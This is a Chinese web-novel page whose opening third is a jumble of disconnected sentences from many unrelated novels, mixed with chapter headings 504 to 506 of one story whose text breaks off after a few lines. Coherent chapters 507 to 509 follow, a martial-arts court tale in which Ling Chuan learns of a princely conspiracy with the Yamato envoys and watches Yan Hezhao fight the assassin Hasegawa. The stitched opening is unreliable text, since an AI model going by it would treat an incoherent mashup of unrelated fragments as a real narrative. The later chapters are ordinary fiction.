在早起的1943之中,比较被人吐槽的一点,就是子弹是跟着战斗机本身平移的。 其实,脆弱和坚强都有一个度,越过这个度,再坚强也脆弱,没有越过这个度,再脆弱也坚强。 劲风扑面的刹那间,伯沙撒也觉得大难临头,闭上双眼,等待死亡的降临。 与此同时,韩东抬起目光,静静打量着黑白太极图,似乎眸光想要看穿黑白内元,看到光罩的另一侧。 “我一直在这?那么看来真的是入梦证道了?”沈石回忆着,自言自语。 至于那些大型的凶猛的动物镜砸也不敢带他去看,怕吓到他。苗迷吐槽不已,可能作为人他会怕这些动物,但现在同样身为一个动物他能和这些家伙聊聊就不会害怕了。 李方诚边开车边想,是不是服务器崩了,还是数据出了问题,又或者是代码丢失? 凌晨三点,龙总被卧室里的座机电话吵醒。他打着哈欠拿起电话还没等骂出来,就被对方说的内容惊的差点掉下床去。 “这么说,你们都是龙家的人了。”萧鸣眉头一皱问道,他听说过龙家的恐怖,得罪龙家就相当于找死。 闻一鸣把香炉凑近病人,感觉到虽然对方呼吸微弱,但还是有气味被吸入鼻腔,这样也好,病人身体虚弱,稳扎稳打更安全。 面对那龙战的表情,林毅又怎么可能不清楚?要强的性子让的他转瞬忘记了身上的疼痛,手中的玉渊剑再次提起,直指对面之人。 但就在这时,第二道凤鸣再度响起,同样一只巨大的冰凤从天而降,落在斗宗南面上空。 这个差不多接近四米深的下水井,井底淤积一层厚厚的淤泥,这正好缓冲了王南北的下降之力。当然这不是最重要,这令王南北最为欣喜的是,井底旁边有一条直径一米左右的排污道。 丹域深处,一所巨大道场内,正有不少弟子悉心打坐,聆听道场中心,一个俊俏少年传授武道。 不过四人一离开,领头的守卫就拿出了传讯玉符,偷偷往上面传了消息。 虽说在一个地方就要尊重当地的习俗,可是现在这个地方根本没有办法让王南北绕行,而且这个时候还是战时,有些礼节还是可以相对改变下。因此王南北并没有改变方向,绕行的打算。 在蜡丸上的蜜蜡彻底的变成了蜂蜜之后,玉青立刻就将手中的蜜封雷给甩向了敌方的毒师。 转眼间,只见鄘城的上空突然出现一根长鞭,全身镀金,坚硬异常,破空朝着那对面的魔帝掠过去。 “老大,我们都引燃了神火,都达到了天神境以上!”墨修回答。 虽说决斗怪兽可以保护他免受大部分的伤害,但怎么也抽不中怪兽卡的情况也是时有发生的,这种时候手里有枪至少心中不慌。 “难道是有人对这里的兽类进行过大肆屠杀,使得它们对人类的到来畏惧?”雨田自言自语道。 第一卷 第504章 千劫剑雨 从小苦练的忍术被人轻松破去,师父赠予的神兵更是被人一刀斩缺。 孤冥站在明德殿中央,只觉得全身的血液都在倒流。这位从小被冠以天才之名的剑圣高徒,此刻正经历着人生第一次败绩的洗礼。 殿内的烛光映照在他苍白的脸上,额前的碎发被汗水浸湿,黏在皮肤上,更添几分狼狈。 最让他难以接受的是,自己竟败在了一名刚踏入武道的同辈手中,凌川那平静无波的眼神,像一根根细针刺进他的心脏,让他几乎喘不过气。 殿内寂静无声,连烛火摇曳...... 也许,这就是命吧,命运注定自己再也无法回到以往美好的生活中,无法按照自己喜欢的人生轨迹走下去。 顾一念移开目光,她想先搞清楚刘子俊水鬼的问题,再去与这只鬼交朋友。 “想去咱们就去买票。”顾一诺抵挡不住妹妹的目光,最后决定先不休息直接去看摩天轮。 “不要鲁莽,龙神老大说了,凡事要多动动脑子。这样吧,咱们都化作人形进去,这样那怪物就认不出咱们了。如此就算有什么阴谋他也不会对变身后的咱们施展。”啸月天狼说着,摇身一变,变成了一个光着身子的壮汉。 其实说出这句话后的鬼王,在瞬间便后悔了,他这不是自己给自己找情敌吗。 想起高克东最后那句话,想着有个胖娃娃叫自己“奶奶”,她不由地笑了。 “乐乐姐姐……她姐姐刚打电话给我了……”浩子的解释令我更加困惑了。 走出机场,她勉强撑着给妈妈打了个电话,说临时有事改了日期,晚两天再回去,然后就关了手机,切断了一切与外界的联系,独自一人蜷缩在宾馆的房间里,默默地舔试着血肉模糊的伤口。 身形一闪,穆西风便消失在了原地,十分钟过后穆西风终于走出了这处迷宫。 和秦素说这件事情的时候,高浩天的心情是很沮丧的,已经很久没有过这种心情了。 魏寒轻叹一口气,其他修士看不到,他可是看的清清楚楚,淳于琼青色灵神在司徒海本体和灵神夹击下,只撑了一会功夫,整个灵神分身就已经千疮百孔起来,绝望之下,淳于琼只能自爆灵神,只剩下灵识逃了出去。 “再说了,姐姐漂亮就可以了。”沐箐朝着林夕落便是眨了眨眼睛。 不时有些许浮云在飞舟上飘过,只不过被飞舟迅速甩在身后,淡淡月光洒下,两人如穿白裳。 他总共获得了两点法则点,而此前他一共杀了两只野兽,一只獐子和一头野狼,法则点很有可能便是因此而来。 沐箐揉了揉头,真的毒呀,原本她帮他压制的活毒此刻已经被彻底的激活了。不过后面那些人还是给他治疗了一下。不过这好像并没有什么用吧。 那块巨石出现得十分怪异,林悦溪不难猜到这是因为她按了那个开关的原因。 万宝宗的弟子和万宝万众一心,看他什么脸色就知道他在想什么,当下不少的议论声此起彼伏。 除此之外,顾长安感觉自己的精神状况似乎都好了很多,而体现在属性上变化则是精神也增加了1点。 榆木清楚其中门道,知晓青云境主想法,因此现在的他,决意动用自己痕迹大道,尝试扭转局面。 虚空微微颤动了一下,棺中,有一种淡淡的金色光泽焕发了出来,赫然便是那棺体内的圣人道纹所发。 从北陵区进入中江区后,陈新总算是松了一口气,除了陈济棠外始终没有和任何幽冥摆渡使接触过的他没想到北陵区这个新任幽冥摆渡使竟然偷偷做了这么多的事,也不知道这幽冥摆渡使是来度假的还是来摆渡的。 不管是什么时候成圣,该有的异样都会缺少。柴尔斯这刚一成圣,就立刻有其他的武者感受到了他的存在。 过来将近三分钟,会客室的门一开,从里面颓废的走出一人,然后一个管家模样的人拿着一个登记簿,叫出了杰理的名字。杰理急忙拎起脚下的郑克勤,随后进入会客室。 一开始,我以为要在规模这么大的游戏世界里寻找到游戏世界的大本营是一件非常困难的事。但是萧晨却想出了一个我从来都没有想到的方法,以出其不意的方式成功地锁定了游戏世界大量的军事禁区所在地。 看到铁臂猿猴霸道冲过来,凶悍无比。秦昊眼中没有惧意,相反战意高昂,主动迎向了冲过来的铁臂猿猴。 司徒明朗敢肯定,仙气继续这样弥漫下去,这方圆几十里甚至几百里,都会变成这样一处修炼福地,更甚者,可能整个星魂帝国,都会变得如此。 只是去了一趟妖灵界,来回用掉的时间也就半年左右,回来后,所有曾经的熟人都完全遗忘了自己,甚至这个世界找不到自己遗留下的任何痕迹。 “不用,县长,您忙着,我先走了!”刘钢说完这话后,冲着凌志远挥手再见,随后便出门而去了。 “这一次无论如何也不能再让他抓到把柄了。”桐儿咬了咬嘴唇,有了这个好消息后,终于有心情吃饭了,看着桐儿狼吞虎咽的样子,奴婢又跑出去为她多炒了两个菜。 他的身上,阵旗有限。防御类型的更是只有两套,一套尊品级别的阵旗,还有一套则只是天品级别的阵旗。此时他都已经布置出来。 “好,还有千军会留在这里面,会帮助你们一起抗衡南华宫,而且所有的肉身我都全部冰冻在了他的识海内了,并且还有兵器。”萧过道。 第一卷 第505章 废掉孤冥 孤冥看着手中的半截战刀,眼神中满是不可思议。 凌昊轻叹口气,目光凝聚在聂凌空安详的脸上,神色越加的冰冷。 第三圈壕沟的火枪兵们,早已等待多时,射击的命令一下来,他们迫不及待地扣下了火枪的扳机。 紧接着,头顶上五行珠光晕全部退缩回叶天体内,叶天额头上出现了三颗金星。 沙马进入冰雪会馆,不由得心中一喜。这里空旷而且人少,会所里到处都是人造的绿树和起伏的雪坡,正是杀人越货的好地方。 这样的事,从古到今,只要是正常男人就没有不防的。他根本没有多想。 木椅上蜷缩着一个瘦弱的孩子,和简禾差不多大,眉目如画,甚至精致得有些雌雄莫辩。 当很多粉丝热泪盈眶的聚集在任天堂的主场前时,横井军平也暗暗的松了一口气。 当主持人说道上台抽签的时候,他的变现也更是让人惊异,第一个信心满满就直接走上了舞台。 叶重嘴角抽搐,已经将曹天的名字从视情况决定是否除掉的名单中,移动到必杀的名单里面。 天宝大将军领着队伍出发了,第二日,汝阳王府派出的一支队伍也出发了。 说着,他神色悠闲地拿着茶壶倒了一杯茶,并端了起来,给梦瑶递了过去。 果然,随后就看到神兵长老转动了一个放在一旁墙壁上的烛台,咔的一声,其中的一块地板就坍陷了下去了,露出了一个个长长,通往地下的楼梯。 “宝物,宫殿中的宝物自己飞出来了。”众人惊讶,古城中的宝物怎么自己飞出来了? 强抢两名巡警的手枪并且朝自己射击,绝对不是一个美妙的回忆。 杨天心中哀嚎,生怕做出什么过分的事,又怕鼻血狂喷,忙挣脱龙娜娜的纠缠,撒开腿哒哒哒瞬间跑没了影。 想必这些接受了打击的天才少年们,更能认清自己,对后续的修炼也是一件极好的事情。 阴魂宗的这个强者,被苏明给打腿了之后,并没有受多重的伤,只不过他的心里,这个时候已经被打的有点懵逼了,总觉得在面对苏明的时候,总是使不上力气来。 十几拳下去,即便是莽牛的头颅比石头还硬一样被敲开了,鲜血飞溅,骨头渣子乱窜。 姚平安回望着脸上挂着高深莫测笑容的吴子健,他生平第一次,感受到了一种叫做屈辱的情绪。 ‘若初’西餐厅六点钟方向,距离餐厅三百米处的老城墙公交车站牌旁。 就算是在雇佣兵当中,除了有日本人建立佣兵组织外,很少有东方面孔出现在佣兵中。因此从掌握的情报来看,肯定不是来自那个组织的佣兵。 男人的脚步声也在逼近过来,许流音忙走到外面,许情深刚面对这个复杂的场面,手臂就被许流音挽住了。 不到片刻,战车便是被赶到篝火之旁,而五名身形高大的比目族也是押解着三人朝着篝火走去。 假若真是要按照他们的剧情演绎下去的话,无疑非洲会因为c国的暴乱,而变成整个非洲的灾难。 “但这只是一种人为观念,跟七星遗产有什么关系?”莲太郎不解的问道。 而那被林毅一击刺中咽喉的魔妖显然没想到林毅的动作竟是这般凛冽,被刺中的魔妖此时甚至是连那双眼传来的疼痛也感觉不到了,两只前爪搭在林毅的肩膀之上,瞬间到底。 见天色不早了,吕卓便让诸葛瑾早点回去,毕竟,这一趟征伐北海,诸葛瑾一直跟在自己身边,算起来,也有三两个月没跟弟弟妹妹们团聚了。 那一天,上天一面残忍,一面仁慈,就在陈艺跳下去的那一个瞬间,赵牧拉住了她,然后又被我和肖艾合力拉了上来。 清晨时分,穆劲琛抱着许流音,睡意袭来,他这才慢慢闭上了双眼。 这刚有了点线索,结果却成了这个模样,以叶磊的脾气要是还不生气那就怪了。 奥露西娅是叶幻创造出来的,最后也被叶幻所杀,虽然说杀死奥露西娅的自己是过去的自己,但是自己杀了他,这是事实。 这些尸体疯狗一样朝上攀爬着,眼睛里全都放着渗人的绿光,有的甚至已经不是完整的尸体了,爬动的时候,肠子和脑壳一甩一甩的,感觉随时都可能甩飞出去。 “奶奶的,看来又要卖萌了!”大脑袋无奈的想到,毕竟它本身就是兽族。 “哼!就这样想跑吗?没那么容易!”杨浩然一剑未中,身体一个旋转,手中的长剑再次斩向吴天。 "那个怪物?到底是什么?"卡尔维特紧盯着叶幻的双眼,忍不住问道。 听着司元的讲解,林天也是按照步骤,将天机弩后座上的环扣在了手腕上。 第一卷 第506章 备战东疆 黄千浒神色阴沉,放在手指轻敲着桌面,显露出内心的不平静;至于齐清远,虽然面色如常,但眼神同样带着几分凝重,端起茶杯的手微微一顿。 显然,二人都发现,陛下的反应已经逐渐脱离了他们的预料和‘掌控’,这让他们的内心格外沉重。 片刻之后,齐清远率先起身离去,齐党众人见状,也都紧随其后,脚步声杂乱;紧接着,黄千浒也带着一众黄党官员离开,彼此之间没有任何交流。 凌川依旧坐在原地,之所以没有动身离开,主要是此时的他依...... 大家把俩人捆起来,推推搡搡地给弄到派出所去了,一审,还真是俩惯偷,好好地关了起来。 部队相对封闭,军官们跟社会上的人接触少,除了同事战友,其实没有多少朋友的。 作为高中老师,不管面对同事还是面对学生,她都是严肃的时候居多,难得有脸上的笑抑制不住的时候。 苍魇赶忙一跃而起,接住了飘然而落的裤腰带,气得手上青筋暴起,差点没忍住要爆粗口。 在这一刻,米克终于想起了为什么他总有一种莫名奇怪的熟悉感。 没有嫌弃,更多的是心疼,这些伤势在她的心里就像有锋利的刀将她的心毫不留情的切割。 “好好喝!!!”兰喝了一口牛奶蛋花汤,蛋花与牛奶混合在一起形成了绝妙的搭配,吃起来味道香醇,蛋花的口感也非常的软,蛋香与奶香混合着组成更加美味的味道,即便是咽下后也会在口中回味无穷。 更何况,他不想单纯的将这些事归结为生意。怎么说,还是一个有情怀的人。 怪物攻击陆墨,陆墨闪避,挥剑反杀,一剑切头,怪物的头着地不久,又准备归回原位,他早己知晓,再次往怪物的头攻击,切脑袋的中央,只见脑袋中央的晶体分成两半,有绿色的液体流出。 林心菡也知道她是不会相信的,毕竟在星际所有的物种下向着星际之树发誓,应该是不可能进入地球的,违反者将会接受到誓言的惩罚。 这并不夸张,也不胡说,这是知见障,就如同‘两块铁球谁先落地’的问题,整整困扰人类几千年,哪怕到了现在,也有很多人想不明白,是一个道理。 只是这田地里也确实没有多少草可以拔,太阳刚刚落山李成业和甘心就把田地里的不多的杂草拔完了。 这位陆玄心可是不简单,不仅有个华人副总探的老豆,其本身也是在英国皇家警官学院进修过的警务高材生。 然而抓狂也没用,还是得应付视察,所有人开始行动起来,人们慌慌张张的奔走相告,个别有眼色,有急智的人,更是提醒大家赶紧收拾办公室卫生,顺便喊哪个高管出面接人,好为大家争取时间。 山顶之上仍然弥漫着一股股刺鼻的硝烟,地上散落着一些黄橙橙的弹壳,有些石头已经被鲜血染成了红色,但是却连一个八路军的影子都看不到了,哪怕是一具尸体也没有留下。 他也是有考量的,陈星寒是盛栖梧的朋友,盛栖梧的背脊他也大致地了解。能够和盛栖梧称兄道弟的,估计家庭背景也不错,就当是为魏青葙积累人脉了。 结果没想到还有牛牛知法犯法的,要是别人都像他这样随意的进入荷塘,出了什么事情,那应该怎么办? 而信仰基兰的北方国度,却因为基兰校长早已失踪,所以被殃及池鱼,屠杀殆尽,白骨千里,满目尽是坟地。 杨羽也眯起了眼睛,他知道,这绝对是一个很大的攻城,因为订餐这东西,不仅仅是商家和用户,还必须得有配送外卖的外卖员。 “好的,周辰先生,您有什么需要我帮忙的吗?”刘玉眨眨眼,从善如流的道。 想想民间的传说,该族连日月都能吞,在那些普通人的心中,这是一个凶族,无比凶悍。 “也不知道是谁在搞鬼,莫名其妙的搞出一张师傅的照片,引得这些人比我们想象中的来早了很多。”毒刺皱起眉头道。 她其实也并不是那么没用,不需要一直活在唐宁的阴影下的,对吗? 牧易捏拳,直接迎了上去,相比于霸王龙粗壮的蹄子,牧易的拳头看上去就如同绣花针一样,只不过那种气势的对拼,反而让人忽略了这点。 旁人或许会觉得李逍遥不识大体,以他李家之资,若能与慕容家结盟,这简直是抱大腿。但慕容贺不这么觉得,因为他了解李逍遥。并且,这里是凡间。 宁枫冷冷的说了一句,然后便直接走向了那个王总的桌子那边。不等王总他们说话,便直接将王总身边的一个家伙拎了起来,然后摔了出去。 而就在这时,一道敲门声却把杨萧给惊醒了,杨萧起来之后便是一阵的大骂,他才刚刚跟上官沫进行到最后一步,自己马上就要完成了。 不管在娱乐圈风头多盛,到底,在这些权贵的手心里,终究也不过只是金丝雀儿罢了。 杨萧大喜,看着距离自己只有五步之遥的紫色物品,杨萧的心脏都要跳出来了。然后几乎是毫无保留的拿出了那枚遥控骰子,然后点击使用,又在1、2、3、4、5、6之中选择了五。 尽管赵岩是赵琳儿的堂哥,并且修为也要比赵琳儿强了很多,但赵琳儿是羲皇殿的继承人,身份自然是在赵岩之上,所以如果赵琳儿要是追究起了这件事情,赵岩还真是不好交代。 第一卷 第507章 谜团 南宫昰也点头说道:“大和帝国虽然更擅长水战,但他们的陆战能力同样不容小觑。如果让他们登陆,就必须做到一击必杀,千万不能给他们喘息的机会!” 皇帝点了点头,他承认,凌川这是一个不错的战术,很大胆,但也很冒险。这步险棋,需要极大的魄力来承担后果。 他将目光看向凌川,问道:“凌川,你觉得,如果按照你的战术,需要多少兵力能取胜?” “臣未曾与大和军队交过手,不知他们的战力和底细,但,粗略估计,除开无法调动的守军之外,至少需要三倍于对方的兵力!”凌川回答道,语气谨慎。 自前几日面圣之后,凌川便让蓝少堂帮自己找了一些东疆水师和大和帝国的情报,看了一遍发现,双方水战能力确实存在不小差距,这绝非是一朝一夕就能解决的问题。 至于大和军队的陆战能力,凌川不得而知,但可以肯定的是,到了陆地上,双方的差距会缩小,这是大周唯一的机会。 最主要的一点是,大和水军一旦脱离了战舰,就等同于被切断了补给,就算不能将他们一战全歼,也能将其拖垮。 随后,众人也都发表了自己的见解,最终皇帝下令:“三日之内,兵部列一份作战策略呈上来!” “遵命!”耿云旌恭敬地回答,声音在御书房内回荡。 紧接着,皇帝又看向凌川和南宫昰,目光深邃:“你们二人,也都根据自己的想法,列一份作战策略交给朕!” “臣领命!”二人齐声回答。 一直到亥时,众人才相继离开御书房。 月色如水,洒在青石铺就的宫道上,映出一片清辉。 凌川与宋鹤年一道出宫,宋鹤年走在前面,凌川则是落后半步,两人的影子在月光下拉得很长,随着步伐微微晃动。 “如果不出所料,陛下会让你参与到东疆这一战中去!你要做好心理准备!”宋鹤年开口说道,声音在寂静的夜色中显得格外清晰。 凌川闻言,神色微微一变,尽管自己已经隐约猜到,但从这位三朝老臣的嘴里说出来,那等同于板上钉钉,顿时一股复杂的情绪涌上心头。 可凌川想不明白,自己并非东疆将领,陛下为何让自己前去参战?这个疑问在他心中盘旋。 忽然,凌川目光中闪过一抹惊讶,正欲发问的时候,宋鹤年的声音再次响起,低沉而严肃: “东疆主帅林远图,乃是二皇子一派!且通天卫查到,二皇子与大和使团有接触!”宋鹤年的声音压得很低,可传到凌川的耳朵里,却宛如晴天霹雳。 “二皇子?不是大皇子吗?”凌川惊讶地问道,声音不自觉地提高了几分。 宋鹤年笑了笑,那笑容中带着几分深意:“具体真相如何,我就不得而知了,但通天卫从未出过差错!”他的语气意味深长。 霎时间,凌川只感觉脑子里一团乱麻,月光映出他脸上的困惑神情。 今晚入宫赴宴,他与阎鹤诏走在一起,还刻意打听了一下,虽然遭到了阎鹤诏的警告,但对方还是透露了一些信息。 丁爻临死前手中那块玉牌,乃是陛下赐予大皇子的,四位皇子每人一块。 大皇子周苍的玉牌雕刻着苍龙衔日,二皇子周云的那块是云海镇岳,三皇子周灏的则是灏气凌霄,四皇子周玄的则是玄穹驭麟。 现在,宋鹤年却说,通天卫查到的是,与大和使团勾结的是二皇子,这到底是怎么回事? 走出宫门,二人各自上了自己的马车。 凌川回到王府的时候,发现寝殿的灯还亮着,推门而入,只见苏璃还在等他,手中拿着一卷书,但显然心思不在书上。 “夜深了,娘子何不早些歇息?”凌川轻声问道,声音中带着疲惫。 苏璃放下书卷,起身迎了上来,为他卸甲。 她的动作轻柔熟练,指尖偶尔触碰到他的皮肤,带着暖意,“相公未归,我心里放心不下,又怎么睡得着?” 凌川笑道:“就是赴宴而已,没什么可担心的!”他试图让语气轻松些,但眼中的疲惫却瞒不过苏璃。 “相公今日在宴会上大发神威,我可是都听说了!”苏璃笑道,眼中闪着骄傲的光芒。 凌川一愣,没想到苏璃的消息这般灵通,但想到回来的时候,赶车之人变成了洛青云,显然是刘恩赐带回来的消息。 苏璃帮凌川卸下铠甲后,轻声道:“我去给你打水,洗洗睡吧!” 忽然,凌川眉头骤然一蹙。 就在刚才那一瞬间,他敏锐地捕捉到了一道凌厉的杀机,如寒冰般刺骨,却又转瞬即逝,仿佛从未出现过。 那杀气虽然短暂,却让他的脊背一阵发凉。 凌川连忙伸手拉住苏璃的手腕,力道不自觉地重了几分:“娘子,还是我自己去吧!” 他的声音依旧平稳,但眼神中闪过一丝难以察觉的警惕。 苏璃微微一怔,敏锐地察觉到他神色有异,月光透过窗棂,在她姣好的面容上投下淡淡的阴影。 她没有多问,只是轻轻点了点头,眼底却掠过一丝担忧。 凌川径直走出房间,他没有取战刀,只携带了那把贴身的匕首龙牙。 院子里静悄悄的,月光如水银泻地,晚风拂过,庭院里的梧桐树叶发出沙沙的声响。 凌川现如今的感知力异于常人,如同无形的蛛网向四周蔓延。 他能明显察觉到,除了门外巡值的亲兵之外,院墙内外再无其他人的气息,然而刚才那道杀气绝非错觉,这让他不敢有丝毫大意。 来到门外,亲兵余乐正按刀肃立,见到凌川,连忙行礼:“将军,还没睡呢?” 凌川点了点头,脸上挤出一丝随意的笑容:“今晚在宫里吃得太撑了,睡不着,出来透透气。”他目光似是不经意地扫过街道对面的阴暗角落,墙角阴影中虽然空无一物,但却有一丝丝残留气息。 余乐嘿嘿一笑,露出一口白牙,娃娃脸上满是好奇:“将军,你给咱们讲讲呗,陛下设宴都吃什么?我听别人说,皇宫里陛下吃的馒头得有锅盖那么大,一个就能吃几天!” 第一卷 第508章 判官指 凌川不由得一阵好笑,拍了拍余乐结实的肩膀:“你听谁说的?” “之前听村里老人说,陛下种地用的都是金锄头,我猜,那蒸馒头肯定也跟咱老百姓不一样!”余乐认真地回答道,眼神中充满了对皇家生活的天真想象。 凌川笑了笑,语气转为严肃:“最近不太平,让兄弟们警觉一些,夜里多留神!” 余乐立刻收敛笑容,挺直腰板:“将军放心,弟兄们眼睛亮着呢!” 凌川点了点头,没再多说,转身径直返回院中,不过,他并未直接回房间,而是隔着门跟苏璃低声打了个招呼,便朝着王府后门的方向快步走去。 他的脚步轻盈而迅速,身影很快融入了廊庑下的阴影之中。 而就在此时,王府外寂静的街道上,一道几乎与黑暗融为一体的身影正在黑暗中无声闪烁,如同鬼魅。 就在他即将越过一条巷口时,忽然,一股强大无匹的气机凭空诈现,如同无形的牢笼,将他周身空间彻底锁定。 黑影顿时一惊,浑身汗毛倒竖,连忙止住身形。 他目光锐利如鹰隼,看向前方街道的尽头,只见清冷的月光下,一名男子静静地站在那里,双手环抱于胸前,身形挺拔如松。 月光勾勒出他硬朗的侧面轮廓,腰间悬挂的那把造型古朴的螭玄刀,在月华下泛着幽冷的光泽。 “大半夜的,阎总督不睡觉,到大街上来晃悠什么?”黑暗之中,传来一道冷冽如冰的声音,带着一丝不易察觉的忌惮。 “来杀你!”月光下的阎鹤诏淡淡吐出三个字,语气平静无波。 他仿佛只是在陈述一件微不足道的小事,然而其中蕴含的决绝杀意,却让周围的空气都仿佛凝固了。 黑暗中那道身影闻言,双眼微眯,狭长的眼缝中骤然迸射出两道实质般的寒芒,如利箭般直刺月光下的阎鹤诏。 “你可知道,杀了我,意味着什么?”黑影的声音愈发冰冷。 阎鹤诏双目如电,穿透黑暗,精准地锁定着那道阴影:“当你杀死丁爻的时候,你就注定走不出神都!” “你我皆为九重境,你就那么笃定能杀我?”黑影沉声问道,要是别人说这样的话,他自然不会放在心上,可这句话从阎鹤诏口中说出,分量就截然不同了。 他不敢大意,开始暗中运转真气,那片黑暗空间都随之开始扭曲。 “杀不杀得了,试一试就知道了!”阎鹤诏沉声说道,随即径直迈动脚步,朝着黑暗中走去。 他的步伐沉稳有力,每一步踏在青石板上,都发出清晰的叩击声,在这静谧的夜里,如同催命的鼓点。 而就在此时,黑暗中那道身影猛然暴起,先发制人。 “咻咻咻……” 只见他袖袍一挥,成片乌黑暗器如同蝗群般呼啸飞出,在惨淡的月光映照下,泛起一道道诡异的幽冷寒芒,将阎鹤诏周身锁定。 对此,阎鹤诏不慌不忙,甚至没有拔刀。 只见他从容侧身,抬手扬起身后那件玄色披风,骤然间,那披风宛如一道展开的黑幕,将那迎面袭来的暗器尽数挡下。 而就在披风遮蔽视线的刹那,暗中那道身影也如同鬼魅般激射而出,他直接一掌朝着阎鹤诏当胸印来,掌风凄厉,带起一阵阴寒刺骨的腥风。 只见黑暗中的气流剧烈翻滚,一只凝练无比、呈现乌黑之色的掌印凭空出现,携带雄浑气势,撕裂空气,朝着阎鹤诏迅猛袭来。 “嗤啦......” 一声布帛撕裂的轻响,那面挡住暗器的黑色披风中央骤然碎开,两根笔直、修长、宛如白玉般的手指,从碎裂的披风之中悄无声息地显现出来。 指尖之上,精纯的真气凝聚,如同一簇跳动的白色冷焰,在黑色披风的映衬下,显得异常醒目。 “啵......”就在那乌黑掌印与这两根手指碰撞的瞬间,一声如同气泡破裂般的轻响传来。 那看似威猛无俦的掌印,竟如同遇到了克星一般,从中指落点处开始,迅速溃散、消融。 紧接着,两道身影一触即分,各自向后飘退数步。 此时,借着清冷的月光,那道黑影也终于显露真容。 他不是别人,正是大和使团中那位一直深藏不露的高手,长谷川。 此刻,他脸上惯有的从容已经消失,取而代之的是一抹挥之不去的凝重。 两人相隔十余步站定,他们中间那片区域的空气仿佛还在剧烈涌动,发出一连串细微却密集的噼啪爆响。 长谷川单手负于身后,姿态看似依旧从容,但负在背后的那只手,却在微微颤抖。 紧接着,一抹殷红的血珠,自他垂下的掌心悄然滑落,顺着指尖,滴落在脚下的青石板上。 “判官指,果真是名不虚传!”长谷川声音冷漠,眉宇间更是挤满了凝重忌惮。 阎鹤诏依旧是那副万年不变的冷峻表情,但眼神中却多了一份了然与肯定,“你果真是玄阴老人的传人!” 当日,他检查过丁爻的尸体,表面看起来是被一刀贯穿身体,可他却注意到丁爻胸口那道乌青掌印,那一掌才是真正的致命一击。 那一掌直接将其五脏六腑震碎,哪怕没有后面贯穿身体那一刀,丁爻也必死无疑。 阎鹤诏当时便想到了玄阴掌这门阴毒掌法,不过,这门掌法随着玄阴老人身死,也就彻底绝迹江湖,而且,也不曾听闻玄阴老人有传人在世,所以,当时他对这个结果保持怀疑态度。 直到刚才亲手领教,他终于确信,那就是玄阴掌无疑。 至于这些年玄阴掌一直没在江湖中出现,并不是因为玄阴老人没有传人,而是他的传人远在海外的大和岛国。 长谷川冷笑一声,眼神中闪过一抹阴鸷:“廷尉府果真是对天下事了如指掌,竟然能一眼认出消失了这么多年的玄阴掌!” 阎鹤诏嘴角勾起一抹淡淡的、毫无温度的笑容:“只可惜,今夜之后,玄阴掌将彻底断绝传承了!” “你就这么自信能杀得了我?”长谷川再次问出了这个问题,但这一次,他的底气似乎没有之前那么足了。 阎鹤诏看着他,眼神如同在看一个死人:“你不会天真地以为,这偌大的神都,是靠我阎某一人在这里撑门面吧?” 第一卷 第509章 阎罗刀 “杀了我,就等同于与大和帝国彻底撕破脸!阎鹤诏,你可要想清楚了!”长谷川声音陡然转冷,厉声喝道,试图以大势压人。 阎鹤诏却是不以为意地摇了摇头:“那是陛下需要思考的问题,而我接到的任务是杀了你!”他的话语斩钉截铁,没有任何转圜的余地。 说完,他一直环抱的右手缓缓垂下,最终握住腰间的螭玄刀刀柄。 就在他五指合拢的瞬间,一股冰冷、纯粹、如同实质的杀意以他为中心,轰然扩散,席卷了整个街道。空气中的温度仿佛骤然下降,连月光都似乎变得更加清冷。 长谷川深知,对方杀心已定,今日绝难善了,唯有拼死一战,或有能博出一线生机。 他缓缓伸手探向腰间,那条做工精致、绣着繁复菊纹的宽腰带被其轻轻解下,随即,他握住腰带一端,手腕猛然一抖。 “嗤嗤嗤......” 一道道刺目的剑气猛然自腰带中迸射而出,瞬间便将外层的锦缎绞得粉碎,如同金色的菊瓣纷飞。 碎帛散落,露出了隐藏在其内的兵刃,那是一把剑身窄细、薄如蝉翼的软剑,剑身弹性极佳,在月光下微微颤动,泛起一道道流动不息、令人心悸的森冷寒芒。 “那就让我来领教一下,阎罗刀是否真如传说中那般,一刀可断人生死!”长谷川深吸一口气,猛然运转全身真气,如同江河奔涌般灌注于软剑之中。 那原本柔软似带的剑身,在内力的支撑下瞬间绷得笔直,发出‘铮’的一声清越剑鸣,锋芒诈现,直指阎鹤诏。 紧接着,他身形一闪,人随剑走,化作一道流光,直接扑向阎鹤诏,速度之快,堪比闪电。 然而,就在逼近阎鹤诏身前丈许之地时,异变陡生! 他的身影一阵模糊,竟在刹那间一分为七,七道一模一样的身影,手持同样寒光闪闪的软剑,瞬间幻化而出,将阎鹤诏包围在中心。 七道身影从不同的方向、诡异的角度,或直刺、或上挑、或横削、或力斩......织成一张密不透风、毫无死角的夺命剑网,要将阎鹤诏彻底绞杀。 面对周围这虚实难辨、凌厉无比的七道身影和漫天剑影,阎鹤诏的神色依旧没有丝毫改变,古井无波。 唯一的变化是,那只握住刀柄的右手,比之前紧了几分,显然已将真气提至巅峰。 不远处,凌川屏住呼吸,藏身于一堵高墙投下的浓厚阴影之中,死死盯着百步之外那场惊心动魄的战斗。 虽然今夜月光并不算明亮,相隔距离也足有百余步,但自修炼《道藏》之后,他的眼力提升了数个档次,场中的每一个细节都看得清清楚楚。 他看到那漫天席卷、真假难分的剑影,感受着那扑面而来的凌厉剑气,哪怕深知阎鹤诏实力超绝,也不由得为他捏了一把冷汗。 同时,他内心也很期待,想要见识一下传说中的阎罗刀,相传,这位朝堂之上的活阎罗素有一刀断生死的规矩,若是手中阎罗刀出鞘,未能一刀斩杀敌人,他会给对方三日时间逃跑,三日之后再进行追捕。 可即便如此,放眼江湖中,能硬接他一刀而不死的,也只有衡水屠夫一个人。 之后,衡水屠夫也是开启了长达数月的大逃亡,最终远遁西域,才保住一条命。 要知道,当时的衡水屠夫跟他实力相当,都是八重境修为,而如今的阎鹤诏已经踏入九重境多年,衡水屠夫却始终在八重境徘徊,正是因为那一刀给他留下了挥之不去的阴影。 若不能打破这个心魔,他估计一生都难以跨入九重境的门槛。 就在凌川心念电转之际,场中形势骤变! “唰……” 没有惊天动地的声势,只有一声轻微却清晰的出鞘声。 阎鹤诏的刀,终于出鞘了! 一道无法用言语形容的绚丽刀芒,如同黑暗中骤然炸开的银色闪电,瞬间照亮了整条昏暗的街道。 那光芒绚烂得让百步之外的凌川都感觉双目刺痛,凌冽的气息更是带着斩断一切生机的恐怖意境。 刀芒乍现乍隐,来得快,去得也快。 光芒散尽,街道上似乎什么都没有改变。 两道身影依旧立于原地,仿佛刚才那腼腆剪影与惊世一刀从未出现过。 阎鹤诏持刀而立,刀尖斜指地面,刀身光华内敛。 